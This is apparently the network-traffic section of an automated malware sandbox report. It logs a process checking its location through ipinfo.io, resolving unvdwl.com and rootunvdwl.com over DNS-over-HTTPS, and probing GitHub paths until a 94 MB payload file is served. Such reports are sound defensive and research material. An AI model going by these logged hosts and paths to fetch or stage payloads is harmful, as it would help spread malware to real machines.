Dec 20, 2024 16:21:56.578258991 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.578270912 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.578311920 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.590862989 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.590888023 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.590934992 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.590950012 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.590962887 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.590991974 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.593736887 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.593754053 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.593815088 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.593823910 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.593866110 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.602992058 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.603017092 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.603060007 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.603070974 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.603095055 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.603125095 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.676402092 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.676429987 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.676476955 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.676513910 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.676527023 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.676553965 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.679487944 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.679514885 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.679573059 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.679583073 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.679645061 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.683419943 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.683443069 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.683502913 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.683517933 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.683557034 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.686472893 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.686490059 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.686553955 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.686563969 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.687211990 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.772861004 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.772885084 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.772948027 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.772988081 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.773005009 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.773030043 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.782552958 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.782576084 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.782749891 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.782774925 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.782818079 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.786257029 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.786295891 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.786340952 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.786361933 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.786392927 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.786405087 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.798136950 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.798160076 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:56.798199892 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:56.798228025 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:57.003345966 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:57.045649052 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:57.255337000 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:57.256129026 CET	49873	443	192.168.2.8	185.199.108.133
Dec 20, 2024 16:21:57.695336103 CET	443	49873	185.199.108.133	192.168.2.8
Dec 20, 2024 16:21:57.695395947 CET	49873	443	192.168.2.8	185.199.108.133

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 16:20:17.062185049 CET	54856	53	192.168.2.8	1.1.1.1
Dec 20, 2024 16:20:17.440871954 CET	53	54856	1.1.1.1	192.168.2.8
Dec 20, 2024 16:20:22.021013975 CET	58969	53	192.168.2.8	1.1.1.1
Dec 20, 2024 16:20:22.158576965 CET	53	58969	1.1.1.1	192.168.2.8
Dec 20, 2024 16:20:30.118288994 CET	61106	53	192.168.2.8	1.1.1.1
Dec 20, 2024 16:20:30.558769941 CET	53	61106	1.1.1.1	192.168.2.8
Dec 20, 2024 16:20:43.313679934 CET	56062	53	192.168.2.8	1.1.1.1
Dec 20, 2024 16:20:43.451956034 CET	53	56062	1.1.1.1	192.168.2.8
Dec 20, 2024 16:20:52.892563105 CET	63364	53	192.168.2.8	1.1.1.1
Dec 20, 2024 16:20:53.261164904 CET	53	63364	1.1.1.1	192.168.2.8
Dec 20, 2024 16:20:58.266985893 CET	57568	53	192.168.2.8	1.1.1.1
Dec 20, 2024 16:20:58.406912088 CET	53	57568	1.1.1.1	192.168.2.8
Dec 20, 2024 16:21:11.332559109 CET	51751	53	192.168.2.8	1.1.1.1
Dec 20, 2024 16:21:11.469702959 CET	53	51751	1.1.1.1	192.168.2.8
Dec 20, 2024 16:21:18.064047098 CET	59444	53	192.168.2.8	1.1.1.1
Dec 20, 2024 16:21:18.202142000 CET	53	59444	1.1.1.1	192.168.2.8
Dec 20, 2024 16:21:20.467987061 CET	60249	53	192.168.2.8	1.1.1.1
Dec 20, 2024 16:21:20.607717037 CET	53	60249	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 16:20:17.062185049 CET	192.168.2.8	1.1.1.1	0xd69	Standard query (0)	unvmainx.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:22.021013975 CET	192.168.2.8	1.1.1.1	0xdaff	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:30.118288994 CET	192.168.2.8	1.1.1.1	0x63b2	Standard query (0)	unvdwl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:43.313679934 CET	192.168.2.8	1.1.1.1	0x173b	Standard query (0)	dns.google	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:52.892563105 CET	192.168.2.8	1.1.1.1	0x983a	Standard query (0)	rootunvdwl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:58.266985893 CET	192.168.2.8	1.1.1.1	0x3e06	Standard query (0)	rootunvdwl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:21:11.332559109 CET	192.168.2.8	1.1.1.1	0x335	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:21:18.064047098 CET	192.168.2.8	1.1.1.1	0xbd48	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:21:20.467987061 CET	192.168.2.8	1.1.1.1	0x5af6	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 16:20:17.440871954 CET	1.1.1.1	192.168.2.8	0xd69	No error (0)	unvmainx.com	194.26.192.189	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:22.158576965 CET	1.1.1.1	192.168.2.8	0xdaff	No error (0)	ipinfo.io	34.117.59.81	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:30.558769941 CET	1.1.1.1	192.168.2.8	0x63b2	No error (0)	unvdwl.com	45.94.31.128	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:43.451956034 CET	1.1.1.1	192.168.2.8	0x173b	No error (0)	dns.google	8.8.4.4	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:43.451956034 CET	1.1.1.1	192.168.2.8	0x173b	No error (0)	dns.google	8.8.8.8	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:21:11.469702959 CET	1.1.1.1	192.168.2.8	0x335	No error (0)	github.com	20.233.83.145	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:21:18.202142000 CET	1.1.1.1	192.168.2.8	0xbd48	No error (0)	github.com	20.233.83.145	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:21:20.607717037 CET	1.1.1.1	192.168.2.8	0x5af6	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:21:20.607717037 CET	1.1.1.1	192.168.2.8	0x5af6	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:21:20.607717037 CET	1.1.1.1	192.168.2.8	0x5af6	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:21:20.607717037 CET	1.1.1.1	192.168.2.8	0x5af6	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ipinfo.io

dns.google

github.com

raw.githubusercontent.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49717	45.94.31.128	80	6848	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:20:30.680303097 CET	74	OUT	HEAD /un1/unvurestorehardx.dat HTTP/1.1 Host: unvdwl.com Accept: /
Dec 20, 2024 16:20:31.921175957 CET	164	IN	HTTP/1.1 404 Not Found Server: nginx/1.22.0 (Ubuntu) Date: Fri, 20 Dec 2024 15:20:31 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49720	45.94.31.128	80	6848	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:20:37.059886932 CET	74	OUT	HEAD /un1/unvurestorehardx.dat HTTP/1.1 Host: unvdwl.com Accept: /
Dec 20, 2024 16:20:38.300461054 CET	164	IN	HTTP/1.1 404 Not Found Server: nginx/1.22.0 (Ubuntu) Date: Fri, 20 Dec 2024 15:20:38 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49729	45.94.31.128	80	6848	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:20:51.637906075 CET	76	OUT	HEAD /un1/unvurestorehardx.dat HTTP/1.1 Host: 45.94.31.128 Accept: /
Dec 20, 2024 16:20:52.890250921 CET	164	IN	HTTP/1.1 404 Not Found Server: nginx/1.22.0 (Ubuntu) Date: Fri, 20 Dec 2024 15:20:52 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49714	34.117.59.81	443	6848	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:20:29 UTC	52	OUT	GET /json HTTP/1.1 Host: ipinfo.io Accept: /
2024-12-20 15:20:30 UTC	345	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 321 content-type: application/json; charset=utf-8 date: Fri, 20 Dec 2024 15:20:29 GMT x-content-type-options: nosniff via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 15:20:30 UTC	321	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 38 39 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a Data Ascii: { "ip": "8.46.123.189", "hostname": "static-cpe-8-46-123-189.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49727	8.8.4.4	443	6848	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:20:51 UTC	72	OUT	GET /resolve?name=unvdwl.com HTTP/1.1 Host: dns.google Accept: /
2024-12-20 15:20:51 UTC	548	IN	HTTP/1.1 200 OK X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Date: Fri, 20 Dec 2024 15:20:51 GMT Expires: Fri, 20 Dec 2024 15:20:51 GMT Cache-Control: private, max-age=9918 Content-Type: application/json; charset=UTF-8 Server: HTTP server (unknown) X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 15:20:51 UTC	192	IN	Data Raw: 62 61 0d 0a 7b 22 53 74 61 74 75 73 22 3a 30 2c 22 54 43 22 3a 66 61 6c 73 65 2c 22 52 44 22 3a 74 72 75 65 2c 22 52 41 22 3a 74 72 75 65 2c 22 41 44 22 3a 66 61 6c 73 65 2c 22 43 44 22 3a 66 61 6c 73 65 2c 22 51 75 65 73 74 69 6f 6e 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 75 6e 76 64 77 6c 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 7d 5d 2c 22 41 6e 73 77 65 72 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 75 6e 76 64 77 6c 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 39 39 31 38 2c 22 64 61 74 61 22 3a 22 34 35 2e 39 34 2e 33 31 2e 31 32 38 22 7d 5d 7d 0d 0a Data Ascii: ba{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"unvdwl.com.","type":1}],"Answer":[{"name":"unvdwl.com.","type":1,"TTL":9918,"data":"45.94.31.128"}]}
2024-12-20 15:20:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49779	8.8.4.4	443	6848	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:21:10 UTC	76	OUT	GET /resolve?name=rootunvdwl.com HTTP/1.1 Host: dns.google Accept: /
2024-12-20 15:21:11 UTC	548	IN	HTTP/1.1 200 OK X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Date: Fri, 20 Dec 2024 15:21:11 GMT Expires: Fri, 20 Dec 2024 15:21:11 GMT Cache-Control: private, max-age=1174 Content-Type: application/json; charset=UTF-8 Server: HTTP server (unknown) X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 15:21:11 UTC	264	IN	Data Raw: 31 30 31 0d 0a 7b 22 53 74 61 74 75 73 22 3a 30 2c 22 54 43 22 3a 66 61 6c 73 65 2c 22 52 44 22 3a 74 72 75 65 2c 22 52 41 22 3a 74 72 75 65 2c 22 41 44 22 3a 66 61 6c 73 65 2c 22 43 44 22 3a 66 61 6c 73 65 2c 22 51 75 65 73 74 69 6f 6e 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 72 6f 6f 74 75 6e 76 64 77 6c 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 7d 5d 2c 22 41 75 74 68 6f 72 69 74 79 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 72 6f 6f 74 75 6e 76 64 77 6c 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 36 2c 22 54 54 4c 22 3a 31 31 37 34 2c 22 64 61 74 61 22 3a 22 31 2d 79 6f 75 2e 6e 6a 61 6c 6c 61 2e 6e 6f 2e 20 79 6f 75 2e 63 61 6e 2d 67 65 74 2d 6e 6f 2e 69 6e 66 6f 2e 20 32 30 32 34 30 39 32 37 30 38 20 32 31 36 30 30 20 37 32 30 30 20 31 38 31 34 34 30 30 20 33 Data Ascii: 101{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"rootunvdwl.com.","type":1}],"Authority":[{"name":"rootunvdwl.com.","type":6,"TTL":1174,"data":"1-you.njalla.no. you.can-get-no.info. 2024092708 21600 7200 1814400 3
2024-12-20 15:21:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49804	20.233.83.145	443	6848	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:21:19 UTC	94	OUT	HEAD /unvdwl/dwl/raw/main/unvumainrestorehardx.dat HTTP/1.1 Host: github.com Accept: /
2024-12-20 15:21:20 UTC	442	IN	HTTP/1.1 404 Not Found Server: GitHub.com Date: Fri, 20 Dec 2024 15:21:11 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-20 15:21:20 UTC	3383	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49829	185.199.108.133	443	6848	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:21:28 UTC	123	OUT	HEAD /rootunvbot/mydata/refs/heads/main/unvumainrestorehardx.dat HTTP/1.1 Host: raw.githubusercontent.com Accept: /
2024-12-20 15:21:28 UTC	804	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 14 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block Content-Type: text/plain; charset=utf-8 X-GitHub-Request-Id: E7DD:1E2FCC:102100F:11FBC66:67658B77 Accept-Ranges: bytes Date: Fri, 20 Dec 2024 15:21:28 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740054-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734708088.395102,VS0,VE8 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: f4ac69695fb846c7d8c2b5d2b72fff0393e58471 Expires: Fri, 20 Dec 2024 15:26:28 GMT Source-Age: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49853	20.233.83.145	443	6848	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:21:36 UTC	94	OUT	HEAD /runvd01/dwl/raw/refs/heads/main/un1/uusb.dat HTTP/1.1 Host: github.com Accept: /
2024-12-20 15:21:37 UTC	555	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Fri, 20 Dec 2024 15:21:22 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/runvd01/dwl/refs/heads/main/un1/uusb.dat Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-20 15:21:37 UTC	3380	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49861	185.199.108.133	443	6848	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:21:38 UTC	105	OUT	HEAD /runvd01/dwl/refs/heads/main/un1/uusb.dat HTTP/1.1 Host: raw.githubusercontent.com Accept: /
2024-12-20 15:21:39 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 94192128 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "dce1db2ce302903971db053f8dd758f861a96202945985b58fb23f43edfcddee" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 3BE7:C89C2:2E62F1:33B873:676568E7 Accept-Ranges: bytes Date: Fri, 20 Dec 2024 15:21:38 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740037-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1734708099.949680,VS0,VE9 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: e20738dd108177a3fb9f55193c7cd13e20a586e9 Expires: Fri, 20 Dec 2024 15:26:38 GMT Source-Age: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49867	20.233.83.145	443	6848	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:21:40 UTC	93	OUT	GET /runvd01/dwl/raw/refs/heads/main/un1/uusb.dat HTTP/1.1 Host: github.com Accept: /
2024-12-20 15:21:41 UTC	555	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Fri, 20 Dec 2024 15:21:22 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/runvd01/dwl/refs/heads/main/un1/uusb.dat Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-20 15:21:41 UTC	3380	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49873	185.199.108.133	443	6848	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
